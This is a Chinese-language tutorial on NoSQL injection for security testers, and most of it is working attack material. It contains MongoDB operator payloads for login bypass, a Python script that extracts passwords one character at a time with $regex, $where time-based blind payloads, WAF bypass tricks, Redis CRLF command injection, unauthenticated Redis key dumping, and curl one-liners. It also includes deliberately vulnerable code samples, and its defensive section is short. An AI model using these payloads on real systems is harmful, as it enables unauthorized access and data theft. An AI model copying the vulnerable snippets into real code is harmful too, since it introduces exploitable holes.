适合人群:初中级安全测试人员
前置知识:SQL注入基础、NoSQL概念(MongoDB/Redis)
一、前置准备
# MongoDB靶场
docker pull vulnerables/web-nosql-injection
docker run -d -p 5000:5000 vulnerables/web-nosql-injection
# 本地测试
pip3 install flask pymongo
测试工具:
- curl / xcurl
- Burp Suite(Repeater + Intruder)
- Python requests(批量测试)
二、核心原理
NoSQL注入与SQL注入的本质区别:
| 对比 | SQL注入 | NoSQL注入 |
|---|---|---|
| 查询语言 | SQL(结构化) | JSON/BSON(文档型) |
| 注入方式 | 字符串拼接 | 操作符注入($ne/$gt/$regex) |
| 绕过难度 | WAF成熟 | WAF覆盖率低 |
| 返回格式 | 表结构 | 文档/JSON |
MongoDB查询示例:
// 正常查询
db.users.find({username: "admin", password: "mypass"})
// 注入查询($ne = not equal)
db.users.find({username: "admin", password: {"$ne": ""}})
// → 密码不为空即通过 ✅
核心漏洞点: 服务端将用户输入的JSON直接传给MongoDB查询,未校验操作符。
# ❌ 漏洞代码
from flask import request
import pymongo
users = mongo.db.users
username = request.json.get('username')
password = request.json.get('password')
# 用户输入 {"username":"admin","password":{"$ne":""}}
# 直接传入MongoDB查询
user = users.find_one({"username": username, "password": password})
# → 等价于: 用户名=admin, 密码不等于空 → 绕过认证 ✅
三、MongoDB注入技术
3.1 认证绕过($ne/$gt)
POST /api/login HTTP/1.1
Content-Type: application/json
{"username":"admin","password":{"$ne":""}}
所有用户都可以登录:
POST /api/login HTTP/1.1
Content-Type: application/json
{"username":{"$gt":""},"password":{"$gt":""}}
3.2 布尔注入($regex)
POST /api/search HTTP/1.1
Content-Type: application/json
{"username":{"$regex":"^a"},"password":{"$ne":""}}
如果返回结果不同,说明可以用 $regex 逐字符爆破。
Python爆破脚本:
import requests, string
url = "http://target.com/api/search"
chars = string.ascii_lowercase + string.digits
password = ""
for i in range(20): # 最多20位
for c in chars:
payload = {"username":"admin","password":{"$regex":f"^{password}{c}.*"}}
r = requests.post(url, json=payload)
if "success" in r.text:
password += c
print(f"[+] Found: {password}")
break
else:
break # 没找到 → 密码结束
print(f"[+] Password: {password}")
3.3 时间盲注($where + sleep)
POST /api/login HTTP/1.1
Content-Type: application/json
{"username":"admin","$where":"sleep(5000)"}
如果响应延迟5秒 → 存在盲注。
逐字符盲注:
{"$where":"this.password.charAt(0)=='a' && sleep(5000)"}
{"$where":"this.password.charAt(0)=='b' && sleep(5000)"}
// ... 逐字符爆破
3.4 内容类型混淆
部分API接受多种Content-Type。如果JSON被WAF拦截,换form格式:
POST /api/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password[$ne]=
某些PHP框架(如Laravel)解析 password[$ne] 为数组:
// PHP解析结果
['username' => 'admin', 'password' => ['$ne' => '']]
如果后端用 json_encode() 转MongoDB查询,等价于JSON注入。
3.5 隐式AND注入
部分框架将多个GET参数解析为AND条件:
GET /api/users?username=admin&password[$ne]= HTTP/1.1
→ db.users.find({"username":"admin","password":{"$ne":""}})
3.6 报错注入
如果服务端开启了MongoDB详细报错:
POST /api/login HTTP/1.1
Content-Type: application/json
{"username":1,"$where":"1"}
// 报错可能泄露:
{
"error": "MongoError: $where requires a string, got 1",
"stack": "at Server.query (server.js:120:15)"
}
四、Redis注入
4.1 CRLF注入
Redis的协议基于文本, \r\n 可注入新命令:
# ❌ 漏洞代码
import redis
r = redis.Redis()
key = request.form['key'] # 用户输入: foo\r\nSET admin_pass 123456
r.get(key) # → 执行两条命令
利用方式:
key=foo
SET admin_pass 123456 # 修改任意键值
GET admin_flag # 读取受保护的键
4.2 认证绕过
如果Redis未授权(6379端口对外):
# 直连Redis
redis-cli -h target.com
# 读敏感键
KEYS *
GET admin_pass
GET flag
GET db_config
五、实战案例
案例1:登录认证绕过
POST /api/v1/login HTTP/1.1
Host: target.com
Content-Type: application/json
{
"username": "admin",
"password": {"$ne": ""}
}
响应:
{"code":0,"msg":"登录成功","token":"eyJ...","role":"admin"}
修复后绕过方式(如果过滤了 $ne):
{"username":"admin","password":{"$gt":""}}
案例2:API数据越权读取
POST /api/v1/users HTTP/1.1
Content-Type: application/json
{"role":{"$ne":"admin"},"$where":"1"}
返回所有非admin用户的数据,如果 $where 没被过滤,可改为:
{"role":{"$ne":"admin"},"$where":"this.token.length > 0"}
案例3:FastGPT注入(CVE-2026-40351)
某AI知识库系统存在NoSQL注入:
POST /api/kb/search HTTP/1.1
Content-Type: application/json
{"query":{"$regex":".*"},"userId":{"$ne":""}}
利用效果:
- 读取所有知识库文档(跨租户数据泄露)
- 读取其他用户的prompt模板
- 获取系统配置中的API Key
六、WAF绕过
| 绕过方式 | Payload |
|---|---|
| 换Content-Type | Content-Type: application/x-www-form-urlencoded + password[$ne]= |
| 操作符替换 | $ne → $gt / $exists / $nin |
| 编码操作符 | {"$72egex":"^a"}(部分框架会decode) |
| 嵌套注入 | {"$or":[{"$and":[{"username":"admin"}]}]} |
| 参数污染 | username=admin&username[$ne]= |
七、防御建议
# ✅ 做法:对用户输入的key做白名单校验
def sanitize_nosql(data):
"""递归过滤NoSQL操作符"""
forbidden = ['$ne', '$gt', '$regex', '$where', '$nin',
'$exists', '$or', '$and', '$nor', '$not']
if isinstance(data, dict):
for key in list(data.keys()):
if key.startswith('$') and key in forbidden:
del data[key] # 删除危险操作符
else:
sanitize_nosql(data[key])
elif isinstance(data, list):
for item in data:
sanitize_nosql(item)
return data
防御清单:
| 措施 | 说明 |
|---|---|
| 过滤操作符 | 删除请求中的 $ne/$gt/$regex/$where |
| 类型校验 | 密码必须是字符串,不是对象 |
| ORM替代 | 用Mongoose/ODM的参数化查询 |
| Content-Type限制 | 只接受已知格式,拒绝数组格式 |
八、常见陷阱
| 陷阱 | 说明 |
|---|---|
| ❌ 以为NoSQL没有注入 | MongoDB/Redis/CouchDB都有注入 |
| ❌ 只防JSON不防form | password[$ne]= 同样可注入 |
| ❌ 过滤$ne就够 | $gt/$regex/$where/$exists 同样危险 |
| ❌ 前端做了过滤 | Burp直接改包发送 |
九、总结速查表
MongoDB操作符速查
| 操作符 | 含义 | 用途 |
|---|---|---|
$ne | 不等于 | 认证绕过(最常用) |
$gt | 大于 | 认证绕过($ne被过滤时) |
$regex | 正则匹配 | 布尔盲注逐字符爆破 |
$where | JavaScript表达式 | 时间盲注 + 数据提取 |
$exists | 字段是否存在 | 探测字段名 |
$nin | 不在列表中 | 绕过(不含某值) |
$or/$and | 逻辑运算 | 构造复杂条件 |
快速检测Payload
# JSON格式
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":""}}'
# Form格式(Content-Type绕WAF)
curl -X POST http://target.com/api/login \
-d 'username=admin&password[$ne]='
# GET参数格式
curl "http://target.com/api/users?username=admin&password[\$ne]="
# $regex爆破
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$regex":"^a"},"password":{"$ne":""}}'
# $where时间盲注
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","$where":"sleep(5000)"}'